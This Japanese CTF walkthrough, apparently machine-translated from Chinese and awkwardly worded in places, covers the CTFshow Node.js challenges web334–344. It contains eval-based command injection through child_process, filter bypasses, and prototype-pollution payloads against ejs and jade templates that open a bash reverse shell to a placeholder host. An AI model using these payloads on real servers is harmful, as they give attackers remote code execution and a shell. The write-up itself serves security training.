記事ディレクトリ
nodejsとは
Node.jsは、ChromeV8エンジンに基づくJavascriptランタイム環境です。nodejsは、ある種のライブラリではなく、ランタイム環境、またはJS言語インタプリタであると言えます。
Nodejsは、JSランタイム環境を提供するためにChromeのV8エンジンに基づいて開発されたC++プログラムです。当初、Nodejsは主にサーバーにインストールされ、JSを使用した高性能サーバーコードの開発を支援していましたが、後にNodejsもフロントエンドで輝き、フロントエンドWeb開発に革命をもたらしました。NodejsでJSコードを実行するには、2つの方法があります。1つはNode.jsのインタラクティブ環境で実行する方法、もう1つはコードをファイルに書き込んでから、nodeコマンドを使用してファイルコードを実行する方法です。Nodejsとブラウザは異なる環境であるため、JSコードを作成するときはこれらの違いに注意してください。
web334
user.jsがユーザー名:'CTFSHOW'、パスワード:'123456'を検出しました
ソースコードはlogin.jsにあります。ログインが成功した場合は、フラグが表示されます。つまり、ログイン部分にフォーカスがあります。
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
要件は、名前がCTFSHOWと等しくないことです。users.findの2行目は、user.jsの部分であるitem.username = CTFSHOWを取得することです。これは、CTFSHOWの大文字の名前も判断に合格できることを意味します。パスワードはここですでに取得できます。
username:ctfshow
password:123456
ログインしてフラグを取得
web335
ソースコードの発見/?eval =
次に、?eval = lsを渡すと、ファイルが見つからないというエコーが発生するため、ファイルなどが含まれている可能性があります。
しかし、テストした後、index.phpも見つからなかったので、別のeval = 1を渡し、index.phpに1をエコーしました。
これがnodejsであることを考えると、evalが実行されたeval関数である可能性が高いです。在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
nodejsドキュメントのchild_processを確認してください:http://nodejs.cn/api/child_process.html
ノート:child_process.exec(command[, options][, callback])
したがって、ペイロードを作成します
require("child_process").execSync('ls')
フラグを検索:fl00g.txt、猫だけ
web336
それはまだ評価されていますが、前のペイロードはtqlを表示し、ここでバイパスする必要があることを示します
それをテストし、exec文字列をフィルタリングします
execをスプライシングしてバイパスする方法は次のとおりです
require("child_process")['exe'%2B'cSync']('ls')
wpを見てください。ここでソースコードを見ることができます
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。
したがって、?eval = __ filenameを渡して、パスが/app/routes/index.jsであることを確認します。
次に、eval = require('fs')。readFileSync('/app/routes/index.js'、'utf-8')を渡して、execとloadがフィルター処理されていることを確認します。
web337
ソースコード
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{
msg: 'tql'});
}
});
module.exports = router;
aとbを渡すには、aとbが真であり、aとbが同じ長さであり、aがbと等しくなく、md5の後でa+flagとb+flagが等しく、その後フラグを出力する必要があります。
見たことがあるようですが、本当に忘れてしまいました。コンペのオリジナルテーマ部にあるようです。CTFSHOWコンペティションのオリジナルテーマ部に間違いなくあります。当時、そこでやりました。でなければなりません!
最初に頭に浮かんだのは、バイパスする配列を渡すことでしたが、テストで機能しないことがわかったので、コンソールを使用してデバッグしました。
コンソールはそれをテストし、2つの値が等しくないことを発見しました
この方法で渡された値は等しいことがわかります。つまり、a [:] = 1&b [:]=2を渡すとバイパスできます
web338
最初の質問と同じログインインターフェイス、ソースコードをダウンロードして解凍します
最初にランダムな123123を渡し、ログイン失敗をエコーします{"username": "123"、 "password": "123"}
ソースコードを見て、routes/login.jsのログインセクションを見てください
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {
};
var sess = req.session;
let user = {
};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
これもutils/commonが必要です
//common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
フラグは、secert.ctfshow==='36dboy'のたびに出力されます。テストサイトはプロトタイプチェーンの汚染です。初めて、P神が書いたものを見てください。
JavaScriptプロトタイプ汚染攻撃の深い理解
ちなみに、それを見てみると、P神の例のcommon.jsとJSはまったく同じであると言えます。
したがって、Objectクラスを汚染し、{"ctfshow":"36dboy"}属性を追加してみてください。パッケージを送るときに変更してください
プロトタイプの汚染のため、secret
オブジェクトはObject.prototypeを直接継承します。これにより、secert.ctfshow==='36dboy'
web339
login.jsで追加および変更されました
//login.js
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
......
if(secert.ctfshow===flag){
res.end(flag);
......
さらに、新しいapi.jsが追加されました
//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', {
query: Function(query)(query)});
});
module.exports = router;
再び新しい知識
期待される解決策
欠陥はres.render('api', { query: Function(query)(query)});
Functionのクエリ変数は参照されておらず、rceは、プロトタイプの汚染を通じて任意の値を割り当てることで実行できます。
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}
インデックスインターフェイスのPOSTの後、直接POSTしてAPIインターフェイスにアクセスできます
マッドが購入した新しいサーバーはセキュリティグループを開くのを忘れていました。私は20分間懸命にプレーし、ベンブーは生きました。
フラグはlogin.jsにあります
これは成功を意味します
予期しない解決策
ejsテンプレートの脆弱性がrceにつながる(Code-Breaking 2018 Thejsの質問(P Godブログ、前のリンクを参照))
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
ペイロードの使用方法は上記と同じです。最初にインデックスがパッケージを送信し、次にAPIがパッケージを送信します。
web340
今回は、ログインに多くの定義があります。
//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
ここでは2つのレベルの汚染が必要です。MasterYuのブログhttps://blog.csdn.net/miuzzx/article/details/111780832#web339_48を読むことができます。
例があります
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
web341
今回はAPIを削除し、ログインも変更しました。
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({
ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
ここでは、この問題の予想される解決策である339の予期しないものが使用されています。340のリビジョンであるため、ネストする必要があることに注意してください。
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}
次に、ホームページを更新するなど、インターフェイスに気軽にアクセスできます。接続後、envと直接入力して環境変数を確認し、フラグを見つけます。
web342-343
まだわからないので、翡翠(https://xz.aliyun.com/t/7025)と言われているので、ここでマスターズに従ってプレイします。
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
パッケージを送信すると、リクエストヘッダーの「Content-Type」が「application/json」に変更されます
フラグを探しているのはまだenvです
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
カンマがフィルタリングされ、%2cもフィルタリングされ、%2cもカンマになります
とにかく、合格する?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
ここでは、URLに渡されるパラメーターを直接エンコードできます。
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d